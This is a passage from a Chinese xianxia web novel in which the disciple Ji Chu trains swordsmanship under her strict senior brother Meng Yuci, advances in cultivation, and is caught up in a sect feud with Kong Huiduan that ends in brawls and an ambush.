只是由于早上“御剑飞行”的教训,她并不敢提前吹嘘自己,心里丝毫不敢大意,郑重地拔出自己的剑站到院子中央,看向师兄,等他下发考题。 孟喻辞道:“从第一式开始,会多少练多少。” 纪楚点点头,摆好姿势,出剑,剑风凌凌。 孟喻辞神色平静。 纪楚余光瞥见师兄神态,心下大定,侧身平刺,气势如虹。 孟喻辞微微蹙眉。 纪楚心里一咯噔,急忙换下一招,转刺为挑,气势稍减。 孟喻辞微微启唇: “纪楚……” 纪楚条件反射,“唰”得立正站直,认错认的毫不犹豫: “师兄我错了,我今晚回去既背剑诀又补剑招,绝不再混了。” 孟喻辞:“……” 他眼底带了点无奈: “练得还行,就是不够融洽,转换生硬,可见实战经验不足。” 纪楚原本做好了被痛骂一顿的准备,猛然听见师兄夸自己,还有点不敢相信。 孟喻辞已随意折了根桃枝,站到她面前,淡淡道: “出剑。” 纪楚:“?” 师兄这是要和她对练吗? 孟喻辞道:“你一人悟不知要到什么时候,我来和你对招。你把我当成木人桩,出剑即可。” 纪楚:“!” “和师兄打……” 她伸出一根手指指向自己,满脸不可思议: “我吗?” 虽说师兄从不在修炼上开玩笑,说要和她对招就是要和她对招。 但她心里仍有两点放心不下。 其一,这世上并没有师 兄这样身材俊逸挺拔五官精致出尘气质清冷疏离的木人桩,她实在不知道怎么把师兄当做练武场上那种五官粗糙的“木头人”。 其二,以师兄化境巅峰的修为,就算拿的桃枝,她也打不过一点。 但孟喻辞态度坚决:“出剑。” 纪楚只得鼓起勇气,持剑朝他攻去。 孟喻辞立于原地,一动不动。 纪楚出剑前还犹犹豫豫扭扭捏捏,动手时却已神情严肃,只想打赢师兄。 孟喻辞神色淡淡,看着纪楚攻来的方向,手腕微转,普通桃枝在他手中顿时成了锐不可挡的神兵利器,轻易挡下纪楚一剑。 纪楚剑刃与桃枝相撞,非但没有斩落桃枝,反而被打得一颤,握剑的手腕亦觉发麻。 枝上花苞簌簌抖动,将落不落。 下一刻,桃枝斜向上挑,凌冽剑风气势逼人。 纪楚一惊,急忙回身躲避,桃枝却已敲在她肩头。 重重一下毫不留情,纪楚双目顿时涌出泪花。 师兄清冷的声音传来: “变招太慢,重来。” 纪楚咬着唇站定,神色已凝重许多,持剑再攻。 …… 孟喻辞剑招凌厉果决,一看便是杀人之剑,凡出剑必不落空,招招冲人命门,偏又叫人避无可避,只能被迫直面这包含杀机的剑锋。 哪怕换了花枝,仍不减其势,压迫感十足。 纪楚与师兄迎面而立,无需动手便感到害怕,于是忍不住感慨自己前世“趁师兄之危”,撞了大运才能将师兄困住。 打也打不过,躲又躲不开。 片刻后,她“啊”得一声,又捂着被敲中的小臂连连吸气。 “分明能挡住,为什么要躲?” 师兄的声音冷的像冰,听不出丝毫心软: “用剑者最忌心生怯意,先落下乘。” “再来。” 纪楚:“……” 她好想逃,却逃不掉,只得硬着头皮举剑。 …… “啪”,花枝打中左臂。 “再来。” …… “啪啪”两下,右肘和后腰连击。 “再来。” …… 连续“被打”数不清多少次后,纪楚彻底撑不住了。 她眼泪汪汪坐在地上,胳膊也疼肩膀也疼,浑身哪哪都疼,连大腿也被敲了一下。 但她只有两只手,都不知道该捂哪里。 师兄的声音从头顶传来,原本清冷有如天籁的嗓音,此刻在她听来简直是“魔鬼的呼唤”。 “坐在地上像什么样子?起来。” 纪楚把剑扔到地上,两手抱头一阵狂摇: “不来了不来了,我要被师兄打死了!” 那桃枝看着细细一条,上面还带着好看的花苞,移动间香气扑鼻。谁知道打人时能这么疼!硬的像石头冷得像冰块,和师兄本人一样可怕。 她决定从现在开始最讨厌桃树和桃花! “我只用了一成力,如何能打死你?” 孟喻辞被她这副无赖样气笑,自觉带孩子使人变老,连他也忍不住多了絮叨的毛病: “哪个剑修不是一路磕绊受伤过来的,你这般遇到点困难就耍无赖,如何能练好剑术?” 纪楚却说什么都不肯再起来,一副“大不了我就坐着让师兄打死还更轻松”的架势。 孟喻辞拿她没办法,又念及第一天教学不好将人逼太紧,只好收了桃枝,道: “罢了,明日……” 他这边刚一松口,那头纪楚已猴子似的蹦了起来,头也不回地朝外跑去,边跑边大喊: “谢谢师兄我明天再来补课——” 她跑出院子的背影颇有些落荒而逃的意味,看得孟喻辞又是一阵摇头。 人一走,他这院子便空了下来,只余桌边一束桃枝探出半身,其上花苞仍在,隐约透出娇嫩的粉,甜香满盈。 似春意盎然。 孟喻辞看着这花,不禁又想到纪楚在这院子里上蹿下跳的模样。 吵闹,但也生动。 他眼睫微垂,不自觉弯起眉眼,容色惊人。 心里却道: 下次,可不会再叫她这般撒泼打滚地蒙混过去了—— 作者有话说:师兄:(板起脸)下次一定。 纪楚:(耍赖)师兄师兄~ 师兄:(叹气)罢了。 第27章 纪楚深知耍赖这技巧用多了就不管用,况且师兄虽然下手无情,却也是个极难求得的“良师”。 她虽然被桃枝锤了一通,剑法却当真进步非凡。 变强,谁不喜欢呢? 想到这些,纪楚索性直接不睡了,爬起来边背剑诀边练剑。 练着练着,纪楚忽然觉得自己体内有一大股一直静止不动的灵力缓缓流转开来,顺着灵脉转了一圈,最终被丹田吸收。 她惊奇地按了按自己的丹田,明显感觉到指间所触温热舒畅,甚至浑身都有种说不出的舒服,像泡在温水中央。 她似乎……要升阶了! 纪楚这才明白了师兄非要亲自陪她练剑的深意。 她体内堆积了太多灵力无法克化,所以借练剑之机,既能锻炼她的剑招,又能引她紧张之下不自觉运转灵力,反倒比平时效率更高。 纪楚心情大好,在心里对师兄好一番感恩戴德之后,立马入定修行求突破。 一夜间竟连冲三阶,直接冲上了玄境六阶。 玄臻化境各分十阶,其中每三阶为一坎,满九成一劫。 每升一阶,难度便会成指数倍增一次。 而她已经在玄境三阶卡了许久,竟然猝不及防地又升了三阶,足足过了一整道坎! 不可谓之不震撼! 这是纪楚两辈子里第一次升阶这么顺畅,是她两世人生的重大突破。 她恨不得抓着师兄转几个圈,又怕师兄把她当成傻子推出门去,只得按下心里的激动,爬起来先去上徐长老的剑法课。 * 薛羡尘一见纪楚便主动上前。 他今日又换了身衣裳,不再是大红大紫,反而是种极为素雅的白。 领口处布料有些透,隐约透出些许交错伤痕。 袖子挽起,露出一截白玉似的小臂,上面一道斜着的伤痕格外显眼,边缘已有些发青发紫,可见昨日纪楚下手时毫不留情。 不知怎的,纪楚总觉得这衣裳有点眼熟,似乎和师兄昨日打扮有些相似。 薛羡尘像是毫无察觉,还主动问她: “阿楚,你瞧我穿白好不好看?” 纪楚:“难看。” 听见她的话,薛羡尘脸色先是一冷,而后不知想起什么,反而笑了起来,柔声道: “我也觉得白色不好,太冷清了。” 他上前一步,凑近纪楚耳朵: “你瞧,连阿楚在我身上留下的痕迹都挡不住。” 少年温热的气息猝不及防打在她耳畔。 纪楚:“……!” 她猛地一哆嗦,反手一掌拍在他脸上,后退两步拉开距离: “你少胡说八道!” 这一掌不为打人,纯纯是本能反应,只为将他的脸推开。 薛羡尘被她大力之下推得脸都有些变形,身形晃了两下,站定,轻抚被她触碰过的地方,目光有些飘忽,似在回味脸颊被她掌心挤压的触感。 他变态一样的神情看得纪楚想去洗手。 而后薛羡尘勾了勾唇,颇有些玩味地瞧着她: “还未恭喜阿楚,终于升阶了。” 少年容色夺目,白皙的脸上红了一团,似霞云映月,引得不少弟子侧目。 他实在长了一副好皮相,人畜无害的模样配上身上显眼的伤痕,足以骗得所有人团团转。 这几天下来,大家早已习惯了薛羡尘和纪楚凑在一起的样子,先前那些龃龉也成了少年少女间不足为外人道的“情感纠纷”。 纪楚的“趁机报复”也衬得薛羡尘更加“专情”。 她始终不理解。 前世她懵懂无知,被薛羡尘外表蒙蔽,从未对他恶言相向,他却极为厌恶她,屡屡算计,恨不得掐死她。 如今自己懒得伪装,动辄打骂,薛羡尘反而成了牛皮糖 ,硬要凑过来找打找骂。 甚至自己打他,他还笑的更加开心。 难道他真是变态? 纪楚思索间,薛羡尘的声音清晰的传到了每一个人的耳朵里: “阿楚若是恼我穿白遮不住这些伤痕,明日我便换回深色可好?” 四面八方的目光瞬间变得古怪起来。 纪楚顿时生出一股粘了牛皮糖甩不掉的烦躁厌恶之感。 这薛羡尘不知道是怎么了,硬要往她身边凑,害的大家都以为他们关系极好。 连许盈都暗中问她,是否看上了那姓薛的? 还大方表示,虽然他们有些旧怨,但看在薛羡尘皮相尚好的份上,倘若纪楚当真喜欢,可以将人拉来一起聚餐。 天地良心! 纪楚恨不得将薛羡尘扒皮抽筋,怎么可能看得上他! 但连许盈都如此作想,纪楚心里不免有些不安。 对方目的尚且不明,她只能告诫许盈: 一定要离薛羡尘远一点,他不是什么好东西。 不知道许盈听没听进去,反正纪楚觉得薛羡尘一定在谋划些什么。 因着被薛羡尘用“伤痕”坑了一把,纪楚生怕自己无意间又踩了什么坑,于是不接薛羡尘的话,只当“没听见听不懂”,顶着其他弟子八卦的目光走远,一个人躲到角落练剑。 薛羡尘倒没有再跟来了。 只是下课离开前,他又看了她一眼,颇有些说不上来的意味,像是前世被她打断融合神骨时的目光,看得纪楚后背发凉。 * 因着薛羡尘的眼神,纪楚一整日都有些心神不宁,只在师兄夸她升阶的时候开心了一小下。 因而在师兄提问她剑诀的时候,磕磕绊绊背串了好几个。 孟喻辞的脸沉了下来。 空气好像凉了几分,纪楚一个激灵回过神来,忙道: “师兄我错了。” 她这话说的太顺口,简直像是呼吸一样习以为常,一看便不走心。 孟喻辞却并未说什么,又提问了一个新的。 纪楚:“……” 可恶啊这个昨天好像刚背过怎么今天一张嘴就忘了! 她抓耳挠腮半天也没想出来,恨不能眼珠子拐弯再去书上偷看一眼。 孟喻辞也没再提问下一个,只静静望着她,给足她回忆的时间。 可怕的安静。 纪楚挣扎许久,终究是绝望放弃: “我忘了。” 孟喻辞颔首,对这个结果表示“早有准备”。 “若是无心修行,便不必继续了。” 他将书合上,说完这句话后起身离开,留给她一个无情的背影。 纪楚:“啊?” 她还等着师兄“疾风骤雨”的责骂,谁知他就这么“善解人意”地放过她了? 这简直比直接打她一顿还难受啊! 纪楚坐立难安。 眼看师兄走的决绝,显然是被她接二连三的走神气到,不打算再继续“辅导”她了。 纪楚在原地抓耳挠腮了一会儿,垂头丧气地走了。 当晚她就发奋图强,怒背整本剑诀,力争一个字都不会错,再不叫师兄抽查出她的纰漏。 第二日照常来找师兄。 孟喻辞一眼便看到她眼下乌青,微微蹙眉: “怎么回事?” 纪楚摩拳擦掌,满脑子都是争回场子,并不想在别的事情上浪费时间,于是催促他: “什么事都没有。师兄,你今天随便提问,错一个字算我输!” 孟喻辞于是收回视线,问了几个问题。 纪楚的努力没有白费,果然回答流畅,一个字都没有错。 她神色得意极了,微微抬着下巴,用乌青的下眼眶瞅他,一脸的等待夸夸。 孟喻辞道:“不错。” 纪楚闻言振臂高呼:“好耶!” 回头见师兄仍看着她,她又立马收回两臂,压了下过分上扬的嘴角,矜持道: “还行吧,我就随便背了背,正常发挥。” 孟喻辞失笑。 纪楚又冲他伸出手,眨巴着眼睛一脸期待: “师兄,我没有奖励吗?” 他本想说“没有”。 哪有背几句剑诀就来讨赏的? 但纪楚眼巴巴瞧着他,两手朝上,十指微屈,掌心粉白,仰头看他时,双眸亮如星子,几乎要晃花人的眼睛。 拒绝的话停在嘴边,他看了她几眼,想了想,虚虚握住她纤细的手腕,拿出一个红彤彤的果子放在她摊开的手掌上。 掌心一沉。 纪楚“欸”了一声,发现手上立着一个饱满圆润的盘盘果,顿时双目放光。 她仰起脸看向他,一脸期待地追问: “就一个吗?” 孟喻辞板着脸: “不吃给我。” “一个就一个!我当然吃!” 纪楚脸色一变,果断抽回手,像是怕他反悔一般,两手捧着果子咬了一大口。 孟喻辞手上一空,指腹仍留着她手腕细嫩光滑的触感。 他抬眸看向纪楚,她正专心致志嚼着嘴里的果子。 看着她垂头吃果子的动作,孟喻辞忽然就想起了青极峰的兔子。 那些被纪楚喂的圆嘟嘟的兔子,也是像她这样,捧着个红彤彤的果子,努着三瓣嘴吃的又专注又虔诚。 有那么好吃吗? 他不禁在心里想。 分明丹药上的清气更足。 还是说小孩子都更喜欢零食一些? 孟喻辞细细思索着,暗中查了查储物袋,看到里面装着那天他从师尊那里“收缴”来的满满当当的零食,又拿了一个盘盘果出来。 纪楚已经将先前那个盘盘果吃完了,虽然已经足够“虔诚”,但仍懊悔自己吃的太快。 此刻看见师兄手中的果子,顿时激动起来,心道师兄果然是个好人,迫不及待问道: “这也是给我的吗?” 见她如此期待,孟喻辞却将果子从她面前移开,说了句: “先练剑。” 第28章 在盘盘果的诱惑下,纪楚练剑的效率极高。 加上升阶后灵力运转更为顺畅自如的功效,一套剑招被她舞得激情澎湃,比之昨天进步了不是一点半点。 虽然孟喻辞觉得她的激情大概率都在他手里这个盘盘果上。 他今天没有和纪楚对练,而是坐在桌边,看着她挥剑的动作,时不时提点一下。 直到他说“可以了”,纪楚才收剑立于他面前,双眼一个劲往他手里的果子上瞧。 孟喻辞十分谨慎地思量一番后,问了句: “你讨厌我吗?” “怎么会呢!” 纪楚已经全然忘了自己踹门后大吵大闹说的话,此刻被盘盘果蒙了心,果断否决: “师兄是全世界最好的师兄,我喜欢还来不及,我怎么会讨厌师兄呢?” 说完她双手合十,上身前倾,一脸期冀地问他: “我刚刚的表现还不错吧?可以得到一个好吃的盘盘果吗?” 孟喻辞端详她一番,纪楚眨巴着眼睛表示真诚。 他于是不再多问,将果子递给她,又交代了一句: “今日尚可,明日继续。” “谢谢师兄!” 纪楚兴奋地欢呼一声,直道今天果真是美好的一天,而后捧着果子转着圈跑了。 孟喻辞看着她欢快的背影,沉思。 他好像知道如何养纪楚了。 * 纪楚捧着每日“限额”的盘盘果,半天舍不得吃。 思来想去,她决定把这份快乐分享给兔子。 于是她飞快去了青极峰,这会儿天色还早,喂兔子的人早早溜了,兔子们还在草地上蹲着,懒洋洋地吃着刚种下的红灵果。 她钻进兔子堆里,将盘盘果拿给兔子看,小声道: “快看!这是哪儿来的盘盘果?” 说完她又装作一脸惊讶,抚着心口做夸张状: “啊!是师兄给我的盘盘果!” 盘盘果和兔子喜欢的红灵果颜色相似,有兔子凑上来闻了闻,发现不是红灵果,又嫌弃地跳开了。 “真没品味。” 纪楚白了那兔子一眼: “这可是师兄给的!师兄!你们知道从师兄手里讨来零食有多不容易吗?” 她动静太大,兔子们嫌吵,纷纷压着耳朵跳远了。 纪楚蹲在原地,见没兔子愿意搭理她,愤愤咬了一口 果子。 入口清甜,清气满溢。 师兄在她心里的形象瞬间从“冷酷无情的剑修”变成了“心软的神”。 如今的师兄,似乎和前世那个总冷着脸、充满距离感的师兄有许多不同。 好像变得更真实更亲近了! 她前世便想同师兄如寻常师兄妹一样和谐相处,只是一直没有机会。 甚至因为后来的那次蛊毒意外,连普通同门都没得做了。 如今重来一世,竟阴差阳错得了这个机会! 这怎么不算上天的眷顾呢! 她绝对不能辜负! 纪楚咬着果子,暗自下定决心: 这一世,她一定要勤学苦练,认真修行,与师兄做一对和睦相处的师兄妹! * “勤学苦练,认真修行”,说着容易做着难。 和师兄练剑时被桃枝追着打的次数越来越多,整个院子里都是纪楚上蹿下跳的身影。 虽然知道和师兄这样厉害的剑修对练进步神速,但她还是时不时冒出“改换师门”的大逆不道的念头。 毕竟,一个永远打不过的对手,实在是太让人生气了! 这些话她自然不敢告诉师兄,只能在心里默默生气。 然后纪楚的目光就落到了师兄院中的桃树,将仇恨悉数转移给那棵逐渐张开花苞、露出粉嫩花朵的树。 都怪这坏树! 好端端的非要长什么树枝!顶端开一朵花意思一下不行吗?! 她看着树气的牙痒痒,孟喻辞便会及时朝她手心放一个圆圆的果子,并给出夸赞: “有进步。” 好哄的纪楚于是再一次啃着果子消了气。 她觉得自己有点太好哄了,但架不住师兄的夸夸,盘盘果又实在太过好吃。 吃完果子,又开始继续练剑。 师兄握着桃枝原地不动,身姿挺拔神情淡漠,模样甚至算得上闲散,全然没有握剑时满身杀气的样子。 可他只需微微抬手,桃枝就会一种离奇而刁钻的角度落到纪楚身上,绞尽脑汁用尽计谋也躲不开。 化境巅峰对玄境六阶弟子的实力碾压,使得师兄教她剑法时就跟逗小孩玩一样,毫不费力。 纪楚再怎么敬畏师兄,次次看他这般“面无表情漫不经心”就能把自己打的满院子乱窜的样子,也难免被激出几分血性,咬牙切齿想要赢上一次。 剑招进步因而神速。 纵使躲不过,也将孟喻辞出剑时那种果断、狠辣的气势学了几成。 只是距离师兄仍差的远。 眼看她回回握住剑便开始咬牙切齿,显然是有些执念到着相了,孟喻辞这才意识到自己这般碾压式的教法有些不合适。 寓教于乐,应当让孩子感觉到成绩每天都在进步的快乐。 于是为了避免把纪楚逼得走火入魔,他急忙研究了一番其他长老人手一本的《弟子教学指南》,中途改换了教学思路,从“追着纪楚打”变成“偶尔也让纪楚躲开一次”。 果不其然,纪楚鼓成河豚的脸又扁了下去,重新变成那个双目明亮的可爱小师妹。 每每成功躲开一次,便一蹦三尺高,摩拳擦掌喊着“再来”。 孟喻辞这才松了口气。 日子就这么平平静静地过了一个多月。 孟喻辞管的太严,纪楚的修炼被迫加快了进度。 她一闭眼就是师兄冷着脸拿着花枝却比拿着剑还要俊俏的样子,做梦都在背剑诀,连跟许盈约饭的时间都没有。 修为倒是大大提高,不但稳住了玄境六阶,甚至隐隐有冲七阶的征兆。 许盈评价: “孟师兄看着冷酷无情,实则严师出高徒,不但可以增加修为,还能日日对着孟师兄这样举世无双的容貌,纪楚你真是太幸福了!” 纪楚回忆了一番师兄的样貌,觉得她说的很有道理。 直到距离问仙大会还有三天的时候,忽然发生了一件不大不小的事情。 孔回端自从被“般般鱼”坑了一千多分后便没再出现。 纪楚本以为“灭魂阵”这事便算了结了,早将这份仇怨抛诸脑后,一心投入修炼中去。 谁知某日纪楚抱着剑路过广玄峰时,忽然被人兜头倒了一盆混了渡明粉的水。 渡明粉可以将人的气息伪装成鬼,许多人或者修士混进鬼界时常常在身上涂抹这东西。 虽然没什么伤害,但在人均身上携带几样法器灵符的广玄峰下,却瞬间引来了不少攻击。 纵使纪楚有了这些日子躲避反击的经验,还是在毫无防备时被四面八方飞来的灵符和法器打到了右手。 手腕顿时青了一片。 虽说修士躯体比凡人强健不少,悬医阁的丹药也起了效果,但她使的右手剑,手腕受伤,实力顿时大减。 纪楚被泼水的地方是个无人关注的角落,灵符又是察觉到鬼气后主动攻击她。 打伤她的灵符的主人是个普通法修,一出事就急忙赶来道歉,广玄峰上上下下清清白白。 况且修士受伤乃是常事,尤其剑修,身上多的是磕磕碰碰出的伤,没有人会因为这点小事就三堂会审。 但许盈一听便直呼是“孔回端这贱人蓄意报复”,执意追去广玄峰“讨说法”,结果受了好一通冷嘲热讽。 孔回端更是一脸不屑,直道纪楚“若非长了这么一张脸,连广玄峰的门都进不去,如今攀了主峰高枝学剑,自己却不当心伤了执剑的手,却回广玄峰碰瓷,实在可笑。” 许盈当时就火了,拔出剑就和孔回端打了起来,蒋成旭也跟着加入了战局。 纪楚右手痛得一拿剑就抖,又不想连累两人在这个节骨眼上因为她被罚或者扣分,还捧着右手试图劝架。 孔回端是个法修,遇上许盈和蒋成旭这样的“混合双打”,自然落了下风,情急之下喊了句: “待瑶月仙子回归,看她纪楚还有何面目留在宗门!你们两个为了一个替身与同门内斗,迟早落得惨死下场!” 瑶月仙子就是薛晚凝。 这话直接戳到了纪楚的痛点。 她前世揪心,不外乎是自己“替身”的身份,以及许盈和蒋成旭的惨死。 这孔回端竟能一句话伤害她两次,真是叫人忍无可忍! 顿时架也不劝了伤也不顾了,拿着剑也冲了上去。 手腕受伤挥不动剑没关系,那就用剑鞘砸剑柄锤,保管叫孔回端护得住脑袋护不住手。 一场热闹至极的四人混战。 最后四个人都打得狼狈不堪,纪楚右手淤青更重,一同被提到了执律堂。 他们也知道这事闹大了丢人,也许还会耽误问仙大会。 故而一到执律堂就齐齐认错,绝口不提“叫师长主持公道”。 此事以广玄峰出了一些丹药、纪楚自认倒霉告一段落。 纪楚虽生气,但更怕耽误问仙大会。 她深知自己临阵磨枪底子不稳,丝毫不能懈怠,故而换了件袖子极长的衣裳,瞒着右手有伤的事情,照常去找师兄练剑。 但孟喻辞何等敏锐之人,只看她握剑姿势便知有异,拉过她手腕撩开袖子一看,好大一片淤青。 他拉着纪楚手腕,目光移向她的脸: “怎么回事?” 纪楚避重就轻道: “一不小心伤到了……师兄不用担心,不耽误我练剑的……” 说着她想收回自己的手,但孟喻辞拽着她手腕的手五指略微用力,她便拽不动了。 师兄的声音有点冷: “受伤为何不说?” 纪楚还想打哈哈混过去: “我只是觉得不太严重,马上就是问仙大会了,我不想浪费时间……” 在师兄冰冷的目光凝视下,纪楚的声音越说越小,到最后自己也没什么底气,声音低到近乎听不清。 孟喻辞被她这副模样气得不轻,捏着她手腕轻斥: “你这手腕分明是二次受伤,第二次也是不小心?” 纪楚见瞒不住了,只得将事情全都说了一遍,提到孔回端说过的话时,仍一脸愤愤不平: “他凭什么诅咒我朋友?今天是手受伤了 ,等明天伤好了,我非把他满口牙打掉!” 孟喻辞闻言,瞥她一眼,淡淡道: “还说?” 纪楚扁嘴,不说话了。 孟喻辞心里莫名就想到,若是他没有及时出关找到纪楚,她是不是就会一直这样,受伤后自己躲起来,像孤独的小兽一样自己舔舐伤口,默默算计着什么时候能反咬回去。 倒也不是责怪,只是心疼。 他沉默下来,不知该说些什么。 怕自己语气太重,叫她受了伤还得回来受委屈。 又怕自己一时疏忽没能及时发现,今日还是小伤,万一来日有危及性命的事情时,她也这样瞒着,不会找他求助。 一时间,竟多了几分瞻前顾后、不知该拿她如何是好的无措来—— 作者有话说:师兄:操心jpg。 第29章 孟喻辞将纪楚拉到桌边,叫她在自己跟前站着,另一手凝了灵力按上她手腕淤青处。 见她一直憋着不说话,忍不住抬眸看她一眼: “怎么不说话?” 纪楚原本想说“你不让我说话的”,但手腕上忽然传来一阵彻骨的寒,简直要将她的骨头缝都冻实,一下子呼痛出声: “疼疼疼……师兄……疼!” “嗯。” 孟喻辞面色冷沉似水,回了个没什么情绪的单字。 看似不为所动,实则手上动作不自觉放轻,指尖虚点着她皮肤,寒冰似的灵力缓缓朝她手腕淤伤下推。 绕是如此,纪楚仍疼得眉头紧皱,一个劲儿地想把右胳膊朝后缩。 可惜手腕上带着伤不说,她那点力气根本拽不过师兄,他连眼皮都没抬,按着她胳膊将灵力沿着伤处铺了一层。 他人看着清逸淡漠,实则灵力强悍非常,灵符上残留的攻击法术被轻易清理干净;又专程用寒气将纪楚的手腕冻住,免得她行动没有分寸、伤上加伤。 孟喻辞松开手时,纪楚已疼得满头冷汗,捂着右手腕迅速朝后退了几步,离师兄远远的。 “你这几天不用练剑了。” 孟喻辞本想把她拽回来,又怕拉扯间伤了她的手,只好说道: “若不想刚开始比试就因为伤痛被淘汰,最后这几天就老实点,别再跑去打架了。” 纪楚站得老远,朝自己手腕上轻轻吹气,一脸的委屈和不服气。 孟喻辞顿了片刻,又起身上前两步,在纪楚警惕的目光下伸出手。 五指修长,指节分明,掌心托着个红红的果子。 不要白不要。 纪楚果断从他手里拿走了盘盘果,却仍不肯抬头看他,转过头去看着地面继续赌气,不吭声也不吃果子。 头顶零碎的发丝倔犟翘起,像是在说“哄不好了”。 孟喻辞略感无奈,忍不住抬手揉了揉她的头,叹息道: “量力而为,切莫逞强。” 他的语调放得缓而平和,像是哄孩子: “名次胜负皆是次要,我和师尊,都盼你平安。” 听见他的话,纪楚想要躲闪的动作僵住。 她抬起眼睫,头上顶着他的手,像顶着个十分牢靠的壳子,双目亮晶晶的,颇有些意外地望着他。 脸上的不服、委屈通通褪去,头顶翘起的碎发也被压了下去,于是抱着盘盘果安静地小口啃了起来。 终于消气了。 * 广玄峰。 孔回端顶着脑门上硕大的一个包,正听沈恪训话。 猝不及防一道剑气袭来,杀气凌厉,直冲孔回端面门。 若非沈恪反应极快替他挡下,只怕要闹出人命。 “孟喻辞,你好大的胆子!敢在我广玄峰动手!” 剑光化作一道修长身影,孟喻辞持剑而立,闻言极冷极淡地轻笑一声,语气淡淡: “若我想动手,他焉有命在?” 沈恪闻言瞬间暴怒,周身灵力猝然汇聚,狂风朝广玄峰簇拥而来。 实则他心里清楚,以孟喻辞的剑意,若他真想取孔回端性命,自己根本没有挡剑的机会。 如此这般,纯粹是为了给他们一个警告! 但他好歹一宗长老,岂能容一个小辈在他面前挑衅?! 化境高阶修士的对峙有时只在一念之间。 沈恪盛怒之下,灵力强势却压不过去; 而孟喻辞只淡漠静立,剑势内敛,不见杀意,却威胁十足。 沈恪已落下风。 他知道今日只能吃这一亏,不得不压下灵力,忍着心里的不快,抬手示意惊恐未消的孔回端退下。 顷刻间已换了副友善的姿态,仿佛刚刚一瞬间的对峙并不存在,从容问道: “孟师侄来此,可是纪楚顽劣,叫主峰费心了?” 见孟喻辞没有否决,沈恪心下放松许多,又道: “我早便告诉过师侄,纪楚顽劣难驯,主峰弟子众多,若是管束不及,不妨由我……” 沈恪话未说完,孟喻辞便打断他: “师妹修行勤勉,有我教导足够。” “是吗?” 沈恪脸上笑意微僵: “那师侄前来所为何事?总不会只是为了……给我座下弟子,一个教训?” 早在听见“纪楚”两个字时,孔回端就下意识垂着头朝后退。 只是还未彻底逃离此处,便被孟喻辞开口叫住: “是有一事,需得问个明白。” 沈恪看向身后,见孔回端神色惶惶,想来是他不在的时候又生了岔子,顿时不悦道: “还不快说,究竟发生了何事?” 孔回端一个激灵,回道: “回禀师尊,是纪师妹不小心沾了渡明粉,引来灵符攻击,伤了手腕。弟子以防冤枉无辜,所以才多问几句,谁料纪师妹便带着人来打了弟子……” 说完,他略略抬头,叫沈恪和孟喻辞看清他额头上的大包,又补充道: “这便是被他们所伤……此事实乃意外,弟子也已在执律堂领了罚。” “意外?” 孟喻辞目光平平朝孔回端看去,似利剑对准他眉心,叫他忍不住发抖: “若渡明粉和灵符皆是意外,那“替身”二字,也是沈长老言传身教,孔师弟耳濡目染,不慎意外道出?” 沈恪一听,目光登时冷了下去: “你说什么?” 孔回端一下子后背发凉,顿时知晓自己一时张狂犯了忌讳,跪在地上不敢抬头: “弟子失言。” 沈恪盛怒并非是因为纪楚受伤,而是因为孔回端非但敢对纪楚动手,还敢张狂妄议于他。 无论他心里如何看待纪楚、如何处置纪楚,但是他的东西,从来由不得别人插手;他的想法,更不许旁人妄加揣度! 这孔回端当真是胆大包天,得了他几分信任便得意忘形,竟敢越俎代庖,将手伸到他的东西上! 沈恪袖口微动,一道灵力重重打向孔回端。 孔回端闷哼一声,吐出一口鲜血,脸色顺便变得苍白,却丝毫不敢反抗,反而叩首求饶: “弟子有错,请师父责罚。” 沈恪出手极重,面上却不见丝毫怒意,神情甚至算的上温和: “你是有错,若非孟师侄前来讯问,我尚不知你如此狂妄,竟敢妄议同门,挑拨是非。” 孔回端不敢接话,听得上首沈恪道: “罢了,既知有错,便去执律堂领上三十鞭。” 孔回端不敢辩驳,讷讷应了,起身蹒跚离开。 沈恪发落完人,这才转向孟喻辞,面带浅笑,温和解释: “一个小辈,竟敢将手伸到我的东西上,这才不得不出手教训,倒是叫师侄见笑了。” 他意有所指,孟 喻辞也知道沈恪后头这一出教训弟子的戏是专门演给他看。 他素来不是忍辱负重的性子,也不屑于让自己的师妹瞻前顾后地“打落牙齿和血吞”。 纪楚选择忍着,他作为师兄,却是定要讨回这口气。 三十鞭委实不算多,单以孔回端敢伤纪楚一事,他已是手下留情。 只是沈恪话里话外将纪楚“划做他有”的态度,让孟喻辞听着尤为不爽。 素日也不见有多珍视,如今倒在他这“正经师兄”面前装起“长辈”了。 于是孟喻辞面无表情回道: “沈长老如何管教弟子,是沈长老的事。但纪楚如今有我瞧着,就不劳广玄峰的人——出言指点了。” “多有打扰,告辞。” 说罢,不等沈恪回答,他略一施礼,转身化作剑光离开。 人刚一走,沈恪面上笑意顿时消失,一时间怒意横生,再难维持温润君子形象。 他猛地挥手,灵力打碎身后墙面,玉砖四分五裂,扑簌而落。 好个孟喻辞! 竟敢当面对他阴阳怪气,指桑骂槐! 只恨他因着晚凝的事一时举棋不定,反倒叫一个蛮横小辈踩在他头上,非但将纪楚从他手里抢走,还敢次次在他面前耀武扬威! 护在墙后的聚魂灯受他灵力冲击,灯芯摇曳,一缕魂魄浮现,缓缓凝出一个女子模样。 额间一点魔气缠绕,却不减其婉约之姿,双眸紧闭,正在聚魂灯的护佑下沉沉睡着。 沈恪平静下来,却并未立即上前,而是看着那与纪楚十分相似却又全然不同的容貌,灯影后的目光莫测悠长。 良久,他一挥手,重新将聚魂灯连同薛晚凝的魂魄一同封住。 * 沈恪下手很重,孔回端来不及疗伤就又挨了三十鞭,离开执律堂时连路都走不稳。 但他却不敢叫苦,只能在心里暗骂自己倒霉。 谁能料到,这向来疏冷漠然、从不插手弟子间事的孟师兄,竟会破天荒的来找他麻烦呢? 难道是为了纪楚吗? 他为自己这个想法感到不可思议。 只是还未来的及细想,身后忽然有人靠近的声响。 天色太暗,他又伤重之下反应迟缓,竟叫人临到背后才察觉到。 匆忙回头间,只瞧见几个脸上蒙着布的人影疾步朝他扑来。 然而已经来不及了,孔回端尚未出声,头上已猛地罩下一个罩子,随后有人一棍子敲在他颈后,打得他一个趔趄跪到了地上,头晕眼花站不起来,连惊呼声都没能发出。 铺天盖地的拳头紧跟着砸下来,至少有三四个人同时在打他,中间还夹杂着有人打喷嚏的声音。 孔回端一开始还试图搬出身份和沈恪来威胁,但偷袭者浑然不怕,甚至打得更起劲了。 没过一会儿他就被这几个人打得连连求饶,涕泗横流形象全无。 不知过了多久,那几人才打够了离开。 周围安静下来,孔回端颤颤巍巍把头上的罩子拿开,双目乌青嘴边带血,脸上青一块紫一块,甚至右脸肿起,已经被打的不对称了。 任谁见了他此刻的样子,都不敢相信这是那个高贵俊朗的广玄峰法修。 